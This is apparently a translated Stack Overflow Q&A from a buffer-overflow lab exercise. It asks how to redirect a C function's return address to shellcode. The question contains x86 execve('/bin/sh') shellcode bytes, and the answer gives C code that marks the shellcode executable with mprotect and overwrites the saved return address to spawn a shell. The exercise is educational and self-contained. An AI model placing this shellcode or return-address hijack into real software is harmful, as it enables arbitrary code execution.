将返回地址更改为指向shellcode

时间:2014-10-04 16:55:22

标签: c buffer stack-overflow buffer-overflow exploit

我使用linux而且我有c程序,我想更改返回地址指向我的shellcode,我无法做到。

这是我的shellcode

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

这是我的c程序

int global_value = 0;
void bang(int val)
{
if (global_value == cookie) {
   printf("Bang!: You set global_value to 0x%x\n", global_value);
   validate(2);
 } else
   printf("Misfire: global_value = 0x%x\n", global_value);
   exit(0);
 }

1 个答案:

答案 0 :(得分:0)

我认为你不应该使用退出(0)或类似的东西。这是我的尝试。我希望它有用!

    // compile : gcc -m32 test.c -o test
    // run : ./test

    #include <sys/mman.h >
    #define PAGE_SIZE 4096U

    char shellcode[] =
        "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80";

    int global_value = 0;

    void bang(int val)
    {
        char **ptr = (char **)&val-1;
        mprotect((void *)((unsigned int)shellcode & ~(PAGE_SIZE - 1)), 2 * PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC);
        *ptr = shellcode;

    /*if (global_value == cookie) {
       printf("Bang!: You set global_value to 0x%x\n", global_value);
       validate(2);
     } else
       printf("Misfire: global_value = 0x%x\n", global_value);*/
      // exit(0);
     }

    int main() {
        bang(0);
        printf("this should not be executed!\n");
        return 0;
    }